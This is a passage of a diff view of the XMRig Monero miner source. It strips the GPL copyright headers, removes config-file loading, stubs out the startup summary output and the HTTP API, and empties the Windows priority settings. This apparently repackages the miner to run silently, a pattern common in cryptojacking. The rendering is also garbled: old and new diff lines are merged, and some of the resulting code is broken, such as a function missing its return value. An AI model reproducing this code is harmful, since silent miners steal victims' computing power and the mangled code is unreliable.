break;
}
return true;
}
Url *Options::parseUrl(const char *arg) const
{
auto url = new Url(arg);
if (!url->isValid()) {
delete url;
return nullptr;
}
return url;
}
void Options::parseConfig(const char *fileName)
{
rapidjson::Document doc;
if (!getJSON(fileName, doc)) {
return;
}
for (size_t i = 0; i < ARRAY_SIZE(config_options); i++) {
parseJSON(&config_options[i], doc);
}
const rapidjson::Value &pools = doc["pools"];
if (pools.IsArray()) {
for (const rapidjson::Value &value : pools.GetArray()) {
if (!value.IsObject()) {
continue;
}
for (size_t i = 0; i < ARRAY_SIZE(pool_options); i++) {
parseJSON(&pool_options[i], value);
}
}
}
const rapidjson::Value &api = doc["api"];
if (api.IsObject()) {
for (size_t i = 0; i < ARRAY_SIZE(api_options); i++) {
parseJSON(&api_options[i], api);
}
}
}
void Options::parseJSON(const struct option *option, const rapidjson::Value &object)
{
if (!option->name || !object.HasMember(option->name)) {
return;
}
const rapidjson::Value &value = object[option->name];
if (option->has_arg && value.IsString()) {
parseArg(option->val, value.GetString());
}
else if (option->has_arg && value.IsUint64()) {
parseArg(option->val, value.GetUint64());
}
else if (!option->has_arg && value.IsBool()) {
parseBoolean(option->val, value.IsTrue());
}
}
void Options::showUsage(int status) const
{
if (status) {
fprintf(stderr, "Try \"" APP_ID "\" --help' for more information.\n");
}
else {
printf(usage);
}
}
void Options::showVersion()
{
printf(APP_NAME " " APP_VERSION "\n built on " __DATE__
# if defined(__clang__)
" with clang " __clang_version__);
# elif defined(__GNUC__)
" with GCC");
printf(" %d.%d.%d", __GNUC__, __GNUC_MINOR__, __GNUC_PATCHLEVEL__);
# elif defined(_MSC_VER)
" with MSVC");
printf(" %d", MSVC_VERSION);
# else
);
# endif
printf("\n features:"
# if defined(__i386__) || defined(_M_IX86)
" i386"
# elif defined(__x86_64__) || defined(_M_AMD64)
" x86_64"
# endif
# if defined(__AES__) || defined(_MSC_VER)
" AES-NI"
# endif
"\n");
printf("\nlibuv/%s\n", uv_version_string());
# ifndef XMRIG_NO_HTTPD
printf("libmicrohttpd/%s\n", MHD_get_version());
# endif
}
bool Options::setAlgo(const char *algo)
{
for (size_t i = 0; i < ARRAY_SIZE(algo_names); i++) {
if (algo_names[i] && !strcmp(algo, algo_names[i])) {
m_algo = (int) i;
break;
}
# ifndef XMRIG_NO_AEON
if (i == ARRAY_SIZE(algo_names) - 1 && !strcmp(algo, "cryptonight-light")) {
m_algo = ALGO_CRYPTONIGHT_LITE;
break;
}
# endif
if (i == ARRAY_SIZE(algo_names) - 1) {
showUsage(1);
return false;
}
}
return true;
}
int Options::getAlgoVariant() const
{
# ifndef XMRIG_NO_AEON
if (m_algo == ALGO_CRYPTONIGHT_LITE) {
return getAlgoVariantLite();
}
# endif
if (m_algoVariant <= AV0_AUTO || m_algoVariant >= AV_MAX) {
return Cpu::hasAES() ? AV1_AESNI : AV3_SOFT_AES;
}
if (m_safe && !Cpu::hasAES() && m_algoVariant <= AV2_AESNI_DOUBLE) {
return m_algoVariant + 2;
}
return m_algoVariant; return m_algoVariant;
} }
#ifndef XMRIG_NO_AEON
int Options::getAlgoVariantLite() const
{
if (m_algoVariant <= AV0_AUTO || m_algoVariant >= AV_MAX) {
return Cpu::hasAES() ? AV2_AESNI_DOUBLE : AV4_SOFT_AES_DOUBLE;
}
if (m_safe && !Cpu::hasAES() && m_algoVariant <= AV2_AESNI_DOUBLE) {
return m_algoVariant + 2;
}
return m_algoVariant;
}
#endif

View file

@ -1,47 +1,18 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __OPTIONS_H__ #ifndef __OPTIONS_H__
#define __OPTIONS_H__ #define __OPTIONS_H__
#include <stdint.h> #include <stdint.h>
#include <vector> #include <vector>
#include "rapidjson/fwd.h" #include "rapidjson/fwd.h"
class Url; class Url;
struct option; struct option;
class Options class Options
{ {
public: public:
enum Algo { enum Algo {
ALGO_CRYPTONIGHT, /* CryptoNight (Monero) */ ALGO_CRYPTONIGHT
ALGO_CRYPTONIGHT_LITE, /* CryptoNight-Lite (AEON) */
}; };
enum AlgoVariant { enum AlgoVariant {
@ -59,7 +30,6 @@ public:
inline bool background() const { return m_background; } inline bool background() const { return m_background; }
inline bool colors() const { return m_colors; } inline bool colors() const { return m_colors; }
inline bool doubleHash() const { return m_doubleHash; } inline bool doubleHash() const { return m_doubleHash; }
inline bool dryRun() const { return m_dryRun; }
inline bool hugePages() const { return m_hugePages; } inline bool hugePages() const { return m_hugePages; }
inline bool syslog() const { return m_syslog; } inline bool syslog() const { return m_syslog; }
inline const char *apiToken() const { return m_apiToken; } inline const char *apiToken() const { return m_apiToken; }
@ -77,7 +47,6 @@ public:
inline int retryPause() const { return m_retryPause; } inline int retryPause() const { return m_retryPause; }
inline int threads() const { return m_threads; } inline int threads() const { return m_threads; }
inline int64_t affinity() const { return m_affinity; } inline int64_t affinity() const { return m_affinity; }
inline void setColors(bool colors) { m_colors = colors; }
inline static void release() { delete m_self; } inline static void release() { delete m_self; }
@ -91,27 +60,18 @@ private:
static Options *m_self; static Options *m_self;
bool getJSON(const char *fileName, rapidjson::Document &doc);
bool parseArg(int key, const char *arg); bool parseArg(int key, const char *arg);
bool parseArg(int key, uint64_t arg); bool parseArg(int key, uint64_t arg);
bool parseBoolean(int key, bool enable); bool parseBoolean(int key, bool enable);
Url *parseUrl(const char *arg) const; Url *parseUrl(const char *arg) const;
void parseConfig(const char *fileName);
void parseJSON(const struct option *option, const rapidjson::Value &object);
void showUsage(int status) const;
void showVersion(void);
bool setAlgo(const char *algo); bool setAlgo(const char *algo);
int getAlgoVariant() const; int getAlgoVariant() const;
# ifndef XMRIG_NO_AEON
int getAlgoVariantLite() const;
# endif
bool m_background; bool m_background;
bool m_colors; bool m_colors;
bool m_doubleHash; bool m_doubleHash;
bool m_dryRun;
bool m_hugePages; bool m_hugePages;
bool m_ready; bool m_ready;
bool m_safe; bool m_safe;

View file

@ -1,62 +1,11 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <string.h> #include <string.h>
#include <uv.h> #include <uv.h>
#include "Platform.h" #include "Platform.h"
char *Platform::m_defaultConfigName = nullptr; char *Platform::m_defaultConfigName = nullptr;
char *Platform::m_userAgent = nullptr; char *Platform::m_userAgent = nullptr;
const char *Platform::defaultConfigName() const char *Platform::defaultConfigName()
{ {
size_t size = 520;
if (m_defaultConfigName == nullptr) {
m_defaultConfigName = new char[size];
}
if (uv_exepath(m_defaultConfigName, &size) < 0) {
return nullptr;
}
if (size < 500) {
# ifdef WIN32
char *p = strrchr(m_defaultConfigName, '\\');
# else
char *p = strrchr(m_defaultConfigName, '/');
# endif
if (p) {
strcpy(p + 1, "config.json");
return m_defaultConfigName;
}
}
return nullptr; return nullptr;
} }

View file

@ -1,30 +1,6 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __PLATFORM_H__ #ifndef __PLATFORM_H__
#define __PLATFORM_H__ #define __PLATFORM_H__
class Platform class Platform
{ {
public: public:
@ -40,6 +16,4 @@ private:
static char *m_defaultConfigName; static char *m_defaultConfigName;
static char *m_userAgent; static char *m_userAgent;
}; };
#endif /* __PLATFORM_H__ */ #endif /* __PLATFORM_H__ */

View file

@ -1,109 +0,0 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/resource.h>
#include <uv.h>
#include "Platform.h"
#include "version.h"
#ifdef XMRIG_NVIDIA_PROJECT
# include "nvidia/cryptonight.h"
#endif
static inline char *createUserAgent()
{
const size_t max = 160;
char *buf = new char[max];
# ifdef XMRIG_NVIDIA_PROJECT
const int cudaVersion = cuda_get_runtime_version();
snprintf(buf, max, "%s/%s (Macintosh; Intel Mac OS X) libuv/%s CUDA/%d.%d clang/%d.%d.%d", APP_NAME, APP_VERSION, uv_version_string(), cudaVersion / 1000, cudaVersion % 100, __clang_major__, __clang_minor__, __clang_patchlevel__);
# else
snprintf(buf, max, "%s/%s (Macintosh; Intel Mac OS X) libuv/%s clang/%d.%d.%d", APP_NAME, APP_VERSION, uv_version_string(), __clang_major__, __clang_minor__, __clang_patchlevel__);
# endif
return buf;
}
void Platform::init(const char *userAgent)
{
m_userAgent = userAgent ? strdup(userAgent) : createUserAgent();
}
void Platform::release()
{
delete [] m_userAgent;
}
void Platform::setProcessPriority(int priority)
{
}
void Platform::setThreadPriority(int priority)
{
if (priority == -1) {
return;
}
int prio = 19;
switch (priority)
{
case 1:
prio = 5;
break;
case 2:
prio = 0;
break;
case 3:
prio = -5;
break;
case 4:
prio = -10;
break;
case 5:
prio = -15;
break;
default:
break;
}
setpriority(PRIO_PROCESS, 0, prio);
}

View file

@ -1,129 +0,0 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <uv.h>
#include "Platform.h"
#include "version.h"
#ifdef XMRIG_NVIDIA_PROJECT
# include "nvidia/cryptonight.h"
#endif
static inline char *createUserAgent()
{
const size_t max = 160;
char *buf = new char[max];
int length = snprintf(buf, max, "%s/%s (Linux ", APP_NAME, APP_VERSION);
# if defined(__x86_64__)
length += snprintf(buf + length, max - length, "x86_64) libuv/%s", uv_version_string());
# else
length += snprintf(buf + length, max - length, "i686) libuv/%s", uv_version_string());
# endif
# ifdef XMRIG_NVIDIA_PROJECT
const int cudaVersion = cuda_get_runtime_version();
length += snprintf(buf + length, max - length, " CUDA/%d.%d", cudaVersion / 1000, cudaVersion % 100);
# endif
# ifdef __GNUC__
length += snprintf(buf + length, max - length, " gcc/%d.%d.%d", __GNUC__, __GNUC_MINOR__, __GNUC_PATCHLEVEL__);
# endif
return buf;
}
void Platform::init(const char *userAgent)
{
m_userAgent = userAgent ? strdup(userAgent) : createUserAgent();
}
void Platform::release()
{
delete [] m_userAgent;
}
void Platform::setProcessPriority(int priority)
{
}
void Platform::setThreadPriority(int priority)
{
if (priority == -1) {
return;
}
int prio = 19;
switch (priority)
{
case 1:
prio = 5;
break;
case 2:
prio = 0;
break;
case 3:
prio = -5;
break;
case 4:
prio = -10;
break;
case 5:
prio = -15;
break;
default:
break;
}
setpriority(PRIO_PROCESS, 0, prio);
# ifdef SCHED_IDLE
if (priority == 0) {
sched_param param;
param.sched_priority = 0;
if (sched_setscheduler(0, SCHED_IDLE, &param) != 0) {
sched_setscheduler(0, SCHED_BATCH, &param);
}
}
# endif
}

View file

@ -1,170 +1,40 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <winsock2.h> #include <winsock2.h>
#include <windows.h> #include <windows.h>
#include <uv.h> #include <uv.h>
#include "Platform.h" #include "Platform.h"
#include "version.h" #include "version.h"
#ifdef XMRIG_NVIDIA_PROJECT
# include "nvidia/cryptonight.h"
#endif
static inline OSVERSIONINFOEX winOsVersion() static inline OSVERSIONINFOEX winOsVersion()
{ {
typedef NTSTATUS (NTAPI *RtlGetVersionFunction)(LPOSVERSIONINFO); typedef NTSTATUS (NTAPI *RtlGetVersionFunction)(LPOSVERSIONINFO);
OSVERSIONINFOEX result = { sizeof(OSVERSIONINFOEX), 0, 0, 0, 0, {'\0'}, 0, 0, 0, 0, 0}; OSVERSIONINFOEX result = { sizeof(OSVERSIONINFOEX), 0, 0, 0, 0, {'\0'}, 0, 0, 0, 0, 0};
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll"); HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
if (ntdll ) { if (ntdll ) {
RtlGetVersionFunction pRtlGetVersion = reinterpret_cast<RtlGetVersionFunction>(GetProcAddress(ntdll, "RtlGetVersion")); RtlGetVersionFunction pRtlGetVersion = reinterpret_cast<RtlGetVersionFunction>(GetProcAddress(ntdll, "RtlGetVersion"));
if (pRtlGetVersion) { pRtlGetVersion((LPOSVERSIONINFO) &result); }
if (pRtlGetVersion) {
pRtlGetVersion((LPOSVERSIONINFO) &result);
} }
}
return result; return result;
} }
static inline char *createUserAgent() static inline char *createUserAgent()
{ {
const auto osver = winOsVersion(); const auto osver = winOsVersion();
const size_t max = 160; const size_t max = 160;
char *buf = new char[max]; char *buf = new char[max];
int length = snprintf(buf, max, "%s/%s (Windows NT %lu.%lu", APP_NAME, APP_VERSION, osver.dwMajorVersion, osver.dwMinorVersion); int length = snprintf(buf, max, "%s/%s (Windows NT %lu.%lu", APP_NAME, APP_VERSION, osver.dwMajorVersion, osver.dwMinorVersion);
# if defined(__x86_64__) || defined(_M_AMD64) # if defined(__x86_64__) || defined(_M_AMD64)
length += snprintf(buf + length, max - length, "; Win64; x64) libuv/%s", uv_version_string()); length += snprintf(buf + length, max - length, "; Win64; x64) libuv/%s", uv_version_string());
# else # else
length += snprintf(buf + length, max - length, ") libuv/%s", uv_version_string()); length += snprintf(buf + length, max - length, ") libuv/%s", uv_version_string());
# endif # endif
# ifdef XMRIG_NVIDIA_PROJECT
const int cudaVersion = cuda_get_runtime_version();
length += snprintf(buf + length, max - length, " CUDA/%d.%d", cudaVersion / 1000, cudaVersion % 100);
# endif
# ifdef __GNUC__ # ifdef __GNUC__
length += snprintf(buf + length, max - length, " gcc/%d.%d.%d", __GNUC__, __GNUC_MINOR__, __GNUC_PATCHLEVEL__); length += snprintf(buf + length, max - length, " gcc/%d.%d.%d", __GNUC__, __GNUC_MINOR__, __GNUC_PATCHLEVEL__);
# elif _MSC_VER # elif _MSC_VER
length += snprintf(buf + length, max - length, " msvc/%d", MSVC_VERSION); length += snprintf(buf + length, max - length, " msvc/%d", MSVC_VERSION);
# endif # endif
return buf; return buf;
} }
void Platform::init(const char *userAgent){ m_userAgent = userAgent ? strdup(userAgent) : createUserAgent(); }
void Platform::release(){ delete [] m_defaultConfigName; delete [] m_userAgent; }
void Platform::init(const char *userAgent) void Platform::setProcessPriority(int priority){}
{ void Platform::setThreadPriority(int priority) {}
m_userAgent = userAgent ? strdup(userAgent) : createUserAgent();
}
void Platform::release()
{
delete [] m_defaultConfigName;
delete [] m_userAgent;
}
void Platform::setProcessPriority(int priority)
{
if (priority == -1) {
return;
}
DWORD prio = IDLE_PRIORITY_CLASS;
switch (priority)
{
case 1:
prio = BELOW_NORMAL_PRIORITY_CLASS;
break;
case 2:
prio = NORMAL_PRIORITY_CLASS;
break;
case 3:
prio = ABOVE_NORMAL_PRIORITY_CLASS;
break;
case 4:
prio = HIGH_PRIORITY_CLASS;
break;
case 5:
prio = REALTIME_PRIORITY_CLASS;
default:
break;
}
SetPriorityClass(GetCurrentProcess(), prio);
}
void Platform::setThreadPriority(int priority)
{
if (priority == -1) {
return;
}
int prio = THREAD_PRIORITY_IDLE;
switch (priority)
{
case 1:
prio = THREAD_PRIORITY_BELOW_NORMAL;
break;
case 2:
prio = THREAD_PRIORITY_NORMAL;
break;
case 3:
prio = THREAD_PRIORITY_ABOVE_NORMAL;
break;
case 4:
prio = THREAD_PRIORITY_HIGHEST;
break;
case 5:
prio = THREAD_PRIORITY_TIME_CRITICAL;
break;
default:
break;
}
SetThreadPriority(GetCurrentThread(), prio);
}

View file

@ -1,170 +1,2 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <inttypes.h>
#include <stdio.h>
#include <uv.h>
#include "Cpu.h"
#include "log/Log.h"
#include "Mem.h"
#include "net/Url.h"
#include "Options.h"
#include "Summary.h" #include "Summary.h"
#include "version.h" void Summary::print(){}
static void print_versions()
{
char buf[16];
# if defined(__clang__)
snprintf(buf, 16, " clang/%d.%d.%d", __clang_major__, __clang_minor__, __clang_patchlevel__);
# elif defined(__GNUC__)
snprintf(buf, 16, " gcc/%d.%d.%d", __GNUC__, __GNUC_MINOR__, __GNUC_PATCHLEVEL__);
# elif defined(_MSC_VER)
snprintf(buf, 16, " MSVC/%d", MSVC_VERSION);
# else
buf[0] = '\0';
# endif
Log::i()->text(Options::i()->colors() ? "\x1B[01;32m * \x1B[01;37mVERSIONS: \x1B[01;36mXMRig/%s\x1B[01;37m libuv/%s%s" : " * VERSIONS: XMRig/%s libuv/%s%s",
APP_VERSION, uv_version_string(), buf);
}
static void print_memory() {
if (Options::i()->colors()) {
Log::i()->text("\x1B[01;32m * \x1B[01;37mHUGE PAGES: %s, %s",
Mem::isHugepagesAvailable() ? "\x1B[01;32mavailable" : "\x1B[01;31munavailable",
Mem::isHugepagesEnabled() ? "\x1B[01;32menabled" : "\x1B[01;31mdisabled");
}
else {
Log::i()->text(" * HUGE PAGES: %s, %s", Mem::isHugepagesAvailable() ? "available" : "unavailable", Mem::isHugepagesEnabled() ? "enabled" : "disabled");
}
}
static void print_cpu()
{
if (Options::i()->colors()) {
Log::i()->text("\x1B[01;32m * \x1B[01;37mCPU: %s (%d) %sx64 %sAES-NI",
Cpu::brand(),
Cpu::sockets(),
Cpu::isX64() ? "\x1B[01;32m" : "\x1B[01;31m-",
Cpu::hasAES() ? "\x1B[01;32m" : "\x1B[01;31m-");
# ifndef XMRIG_NO_LIBCPUID
Log::i()->text("\x1B[01;32m * \x1B[01;37mCPU L2/L3: %.1f MB/%.1f MB", Cpu::l2() / 1024.0, Cpu::l3() / 1024.0);
# endif
}
else {
Log::i()->text(" * CPU: %s (%d) %sx64 %sAES-NI", Cpu::brand(), Cpu::sockets(), Cpu::isX64() ? "" : "-", Cpu::hasAES() ? "" : "-");
# ifndef XMRIG_NO_LIBCPUID
Log::i()->text(" * CPU L2/L3: %.1f MB/%.1f MB", Cpu::l2() / 1024.0, Cpu::l3() / 1024.0);
# endif
}
}
static void print_threads()
{
char buf[32];
if (Options::i()->affinity() != -1L) {
snprintf(buf, 32, ", affinity=0x%" PRIX64, Options::i()->affinity());
}
else {
buf[0] = '\0';
}
Log::i()->text(Options::i()->colors() ? "\x1B[01;32m * \x1B[01;37mTHREADS: \x1B[01;36m%d\x1B[01;37m, %s, av=%d, %sdonate=%d%%%s" : " * THREADS: %d, %s, av=%d, %sdonate=%d%%%s",
Options::i()->threads(),
Options::i()->algoName(),
Options::i()->algoVariant(),
Options::i()->colors() && Options::i()->donateLevel() == 0 ? "\x1B[01;31m" : "",
Options::i()->donateLevel(),
buf);
}
static void print_pools()
{
const std::vector<Url*> &pools = Options::i()->pools();
for (size_t i = 0; i < pools.size(); ++i) {
Log::i()->text(Options::i()->colors() ? "\x1B[01;32m * \x1B[01;37mPOOL #%d: \x1B[01;36m%s:%d" : " * POOL #%d: %s:%d",
i + 1,
pools[i]->host(),
pools[i]->port());
}
# ifdef APP_DEBUG
for (size_t i = 0; i < pools.size(); ++i) {
Log::i()->text("%s:%d, user: %s, pass: %s, ka: %d, nicehash: %d", pools[i]->host(), pools[i]->port(), pools[i]->user(), pools[i]->password(), pools[i]->isKeepAlive(), pools[i]->isNicehash());
}
# endif
}
#ifndef XMRIG_NO_API
static void print_api()
{
if (Options::i()->apiPort() == 0) {
return;
}
Log::i()->text(Options::i()->colors() ? "\x1B[01;32m * \x1B[01;37mAPI PORT: \x1B[01;36m%d" : " * API PORT: %d", Options::i()->apiPort());
}
#endif
static void print_commands()
{
if (Options::i()->colors()) {
Log::i()->text("\x1B[01;32m * \x1B[01;37mCOMMANDS: \x1B[01;35mh\x1B[01;37mashrate, \x1B[01;35mp\x1B[01;37mause, \x1B[01;35mr\x1B[01;37mesume");
}
else {
Log::i()->text(" * COMMANDS: 'h' hashrate, 'p' pause, 'r' resume");
}
}
void Summary::print()
{
print_versions();
print_memory();
print_cpu();
print_threads();
print_pools();
# ifndef XMRIG_NO_API
print_api();
# endif
print_commands();
}

View file

@ -1,35 +1,8 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __SUMMARY_H__ #ifndef __SUMMARY_H__
#define __SUMMARY_H__ #define __SUMMARY_H__
class Summary class Summary
{ {
public: public:
static void print(); static void print();
}; };
#endif
#endif /* __SUMMARY_H__ */

View file

@ -1,85 +1,10 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <string.h> #include <string.h>
#include "api/Api.h" #include "api/Api.h"
#include "api/ApiState.h" #include "api/ApiState.h"
ApiState *Api::m_state = nullptr; ApiState *Api::m_state = nullptr;
uv_mutex_t Api::m_mutex; uv_mutex_t Api::m_mutex;
bool Api::start(){ return 0; }
void Api::release(){}
bool Api::start() char *Api::get(const char *url, int *status){ }
{ void Api::tick(const Hashrate *hashrate){}
uv_mutex_init(&m_mutex); void Api::tick(const NetworkState &network){}
m_state = new ApiState();
return true;
}
void Api::release()
{
delete m_state;
}
char *Api::get(const char *url, int *status)
{
if (!m_state) {
return nullptr;
}
uv_mutex_lock(&m_mutex);
char *buf = m_state->get(url, status);
uv_mutex_unlock(&m_mutex);
return buf;
}
void Api::tick(const Hashrate *hashrate)
{
if (!m_state) {
return;
}
uv_mutex_lock(&m_mutex);
m_state->tick(hashrate);
uv_mutex_unlock(&m_mutex);
}
void Api::tick(const NetworkState &network)
{
if (!m_state) {
return;
}
uv_mutex_lock(&m_mutex);
m_state->tick(network);
uv_mutex_unlock(&m_mutex);
}

View file

@ -1,38 +1,10 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __API_H__ #ifndef __API_H__
#define __API_H__ #define __API_H__
#include <uv.h> #include <uv.h>
class ApiState; class ApiState;
class Hashrate; class Hashrate;
class NetworkState; class NetworkState;
class Api class Api
{ {
public: public:

View file

@ -1,37 +1,11 @@
/* XMRig #include <cmath>
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
